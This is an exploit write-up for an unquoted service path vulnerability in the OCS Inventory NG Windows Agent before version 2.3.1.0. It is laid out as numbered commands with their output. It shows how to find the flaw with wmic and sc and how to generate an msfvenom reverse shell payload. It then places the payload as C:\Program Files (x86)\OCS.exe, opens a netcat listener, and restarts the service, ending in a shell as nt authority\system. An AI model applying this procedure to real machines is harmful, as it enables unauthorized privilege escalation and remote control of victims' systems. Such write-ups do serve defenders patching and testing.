OCS Inventory NG 2.3.0.0 – Unquoted Service Path
##################################################################### # # # Exploit Title: OCS Inventory NG 2.3.0.0 - Unquoted Service Path # # Date: 2023/04/21 # # Exploit Author: msd0pe # # Vendor Homepage: https://oscinventory-ng.org # # Software Link: https://github.com/OCSInventory-NG/WindowsAgent # # My Github: https://github.com/msd0pe-1 # # Fixed in version 2.3.1.0 # # # ##################################################################### OCS Inventory NG Windows Agent: Versions below 2.3.1.0 contains an unquoted service path which allows attackers to escalate privileges to the system level. [1] Find the unquoted service path: > wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ OCS Inventory Service OCS Inventory Service C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe Auto [2] Get informations about the service: > sc qc "OCS Inventory Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: OCS Inventory Service TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OCS Inventory Service DEPENDENCIES : RpcSs : EventLog : Winmgmt : Tcpip SERVICE_START_NAME : LocalSystem [3] Generate a reverse shell: > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o OCS.exe [4] Upload the revese shell to C:\Program Files (x86)\OCS.exe > put OCS.exe > ls drw-rw-rw- 0 Sat Apr 22 05:20:38 2023 . drw-rw-rw- 0 Sat Apr 22 05:20:38 2023 .. drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Common Files -rw-rw-rw- 174 Sun Jul 24 08:12:38 2022 desktop.ini drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Internet Explorer drw-rw-rw- 0 Sun Jul 24 07:27:06 2022 Microsoft drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Microsoft.NET drw-rw-rw- 0 Sat Apr 22 04:51:20 2023 OCS Inventory Agent -rw-rw-rw- 7168 Sat Apr 22 05:20:38 2023 OCS.exe drw-rw-rw- 0 Sat Apr 22 03:24:58 2023 Windows Defender drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Mail drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Media Player drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Multimedia Platform drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows NT drw-rw-rw- 0 Fri Oct 28 05:25:41 2022 Windows Photo Viewer drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Portable Devices drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Sidebar drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 WindowsPowerShell [5] Start listener > nc -lvp 4444 [6] Reboot the service/server > sc stop "OCS Inventory Service" > sc start "OCS Inventory Service" OR > shutdown /r [7] Enjoy ! 192.168.1.102: inverse host lookup failed: Unknown host connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309 Microsoft Windows [Version 10.0.19045.2130] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system |